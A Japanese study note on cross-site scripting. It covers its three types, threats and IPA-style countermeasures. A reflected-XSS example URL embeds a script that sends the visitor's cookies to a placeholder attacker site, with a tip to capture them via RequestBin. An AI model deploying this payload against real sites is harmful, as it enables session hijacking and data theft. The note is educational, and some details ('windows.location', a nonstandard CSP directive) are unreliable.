見出し画像

(学習たれ流し)クロスサイト・スクリプティング

概要

URLや入力フォームに悪意のあるスクリプトを入力して実行する(もしくは利用者に実行させる)ことで、情報を漏えいさせたりWEBサイトに想定外の挙動をさせたりする攻撃方法。

XSSの種類

格納型XSS(Stored XSS)

スクリプトがサーバに格納される。根本対策にはウェブアプリを修正する必要がある。
例えば、掲示板などの入力フォームにスクリプトを仕込んで書き込みをすることで、サイト利用者がアクセスした時にリダイレクトで悪意のあるサイトに飛ばしたり、攻撃者に利用者の情報を飛ばしたりする攻撃。
入力できてしまえれば画面上からは確認できないため、利用者やサイト運営者が視覚的に気付くことが困難になる。

反射型XSS(Reflected XSS)

スクリプトはリクエストの送信者に返る。根本対策にはウェブアプリを修正する必要がある。
例えば、URLに、利用者のCookieなどの情報を抜き取り他サイトに送信するスクリプトを仕込み、利用者にそのURLをクリックさせスクリプトが発火することで攻撃者へ情報を漏えいさせる攻撃。
以下のようなURLを用意し攻撃対象にクリックさせれば実現可能。

http://samplesite/?param=<script>windows.location='https://trapsite.net?'.concat(document.cookie)</script>
// windows.locationは、代入した値をブラウザでアクセスさせる処理
// .concatは、文字列を連結させる関数。今回はURLパラメータに Cookie情報をつけている

※上の例の不正な送信先として指定している「trapsite.net」(実際には存在しないサイトです!!!)には、Request Bin(https://requestbin.com/ :HTTPリクエストを記録することができるWebサービス)で発行したURLを使えば、簡単に送信した内容を確認できる。

DOM Based XSS

動的にページを操作(出力)する際に、意図しないスクリプトが生成される。根本対策には正規のスクリプトを修正する必要がある。
サーバーを介さずに攻撃できてしまう点が上の2つとは異なる。
DOMとは、WEBページ読み込み時に生成される、HTMLやXMLから抽出した最上位から最下位の要素のデータ。
例えば、スクリプトを含むURLを利用者にクリックさせ、対象ページ表示時にブラウザ上でスクリプトが動作することで攻撃者に情報が送信される恐れがある。

発生しうる脅威

  • 本物のサイト上に偽ページが表示される:フィッシング詐欺などによる情報漏えい

  • Cookie情報を取得される:セッションIDが格納されていればなりすましで悪用される、個人情報が格納されていれば情報漏えいとなる

  • 任意のCookie情報をブラウザに保存させられる:セッションの固定化攻撃(過去勉強した内容はココ→ https://note.com/ipa713/n/nb015a1ca5f29)で悪用される

影響を受ける範囲

  • 機密性:Cookieに含まれる情報の漏えい(ほとんどのXSS攻撃)

  • アクセス制御:権限のないコードやコマンドの実行により、被害者のコンピュータ上で任意のコードが実行される

  • 機密性・完全性・可用性:Cookieの不正利用、機密情報への不正アクセス、悪意あるコードの不正実行、トロイの木馬プログラムのインストール、他ウェブサイトへのリダイレクト、など様々な問題を引き起こす可能性がある。

注意が必要なウェブサイトの特徴

あらゆるサイトで注意が必要。特にCookieを利用してセッション管理を行なっているサイトやフィッシング詐欺の標的になりやすいページ(ログイン画面や個人情報入力画面)のあるサイトは注意が必要。

特に脆弱性が生じやすい機能

  • 入力内容の確認画面(会員登録、アンケートなど)

  • 誤入力時の再入力で前の入力内容を表示する画面

  • 検索結果表示

  • エラー表示

  • コメント表示(ブログ、掲示板)

被害の状況

IPAに届出のあった脆弱性の報告のうち、約5割がクロスサイト・スクリプティングである。

対策

ウェブアプリケーションの特性に合わせて以下の3分類がある。

対策A.HTMLテキストの入力を許可しない場合の対策

多くのウェブアプリケーションがこれに該当。プレーンな文字列だけを許可するようなケース。

対策B.HTMLテキストの入力を許可する場合の対策

自由度の高い編集が可能なブログなどが該当。

対策C.全てのウェブアプリケーションに共通の対策

全てのウェブアプリケーションが該当。

根本的解決

(対策A.)ウェブページに出力する全ての要素に対して、エスケープ処理を施す

ウェブページの表示に影響する特別な記号文字(「<」、「>」、「&」等)を、HTMLエンティティ(「<」、「>」、「&」等)に置換する方法。また、HTMLタグを出力する場合は、その属性値を必ず「"」(ダブルクォート)で括り、「"」で括られた属性値に含まれる「"」を、HTMLエンティティ「"」にエスケープする。
なお、JavaScript の document.write メソッドや innerHTML プロパティ等を使用して、動的にウェブページの内容を変更する場合も同様にエスケープ処理が必要。

(対策A.)URL出力するときは「http://」や「https://」で始まるURLのみを許可する

URLには「javascript:」の形式で始まるものがある。これを許可するとスクリプトを埋め込まれる危険性があるため、ホワイトリスト方式でhttpもしくはhttpsのみ許可する実装をすると良い。

(対策A.)<script>….</script>要素の内容を動的に生成しない

外部入力によって動的にスクリプトを生成する処理は、危険なものとそうでないものを区別することが難しいため、そもそもそのような処理をさせない。

(対策A.)スタイルシートを任意のサイトから取り込めるようにしない

スタイルシートには、expression() 等を利用してスクリプトを記述することができる。取り込んだスタイルシートに危険なスクリプトが仕込まれているかを区別することは難しいため、そもそもそのような機能を実装しない。

(対策B.)入力されたHTMLテキストから構文解析木を作成し、スクリプトを含まない必要な要素のみを抽出

「ホワイトリスト方式」で許可する要素のみを抽出する。
※ただし、処理が複雑かつ負荷がかかるため、実装するには検討必要。

(対策C.)HTTPレスポンスヘッダのContent-Typeフィールドに文字コード(charset)を指定

これはUTF-7で記述された攻撃を防ぐための対応。
UTF-7は「<」「>」「"」といったエスケープ対象文字を記述せずに、実行可能なスクリプトを書くことができるため、UTF-7を避けるために必ずContent-Typeを指定する。
※Content-Typeを指定していない場合、記述内容からブラウザが推測して文字コードが選択されてしまう。別処理でエスケープ処理を施していても、UTF-7と解釈されてしまうことでスクリプトを仕込まれてしまう。

保険的対策

(対策A.)入力値の内容チェックを行う

アプリケーションの仕様として入力内容が限定的な場合(英数字のみ許容など)にのみ有効。ただし、チェック処理通過後に文字列がスクリプト文字列を形成してしまうプログラムとなっている可能性もあるため完全な対策ではない。

(対策B.)入力されたHTMLテキストからスクリプトに該当する文字列を排除する。

スクリプトに該当する文字列を抽出し、無害な文字列に置換する方法。例えば、「<script>」を「<xscript>」のように無害な文字列へ置換する。
ただし、このような「ブラックリスト方式」は危険な文字列を完全に抽出することが難しいため完全な対策ではない。

(対策C.)Cookie情報の漏えい対策として、発行するCookieにHttpOnly属性を加えてTRACEメソッドを無効化する。

「Http Only」が設定されたCookieはHTMLテキスト内のスクリプトからのアクセスが禁止される。

Set-Cookie:(中略)HttpOnly

そのため、この設定によってCookieを盗まれるという事態は防止できる。
しかし、HttpOnly属性はブラウザによって対応状況に差があるため、全てのウェブサイト閲覧者に有効な対策ではない。

(対策C.)XSSの潜在的な脆弱性の対策として有効なブラウザの機能を有効にするレスポンスヘッダを返す。

ブラウザにはXSS攻撃対策機能を備えたものがあり、それを利用する方法。ユーザの設定によっては機能が無効になっている可能性があるため、サーバ側から機能を有効化するレスポンスヘッダを返すことで対応する必要がある。ただし、そのレスポンスヘッダもブラウザによっては対応状況に差があるため全てのウェブサイト閲覧に有効な対策ではない。
対策機能の例を以下に示す。
【X-XSS-Protection】
ブラウザの「XSSフィルタ」設定を有効にするパラメータ。

HTTPレスポンスヘッダの設定(xss攻撃のブロック設定)
X-XSS-Protection: 1; mode=block

【Content Security Policy(CSP)】
ブラウザで起こりうる問題を緩和するためのセキュリティの追加レイヤー。

HTTPレスポンスヘッダの設定(xss攻撃のブロック設定)
「Content-Security-Policy: reflected-xss block

この記事が気に入ったらサポートをしてみませんか?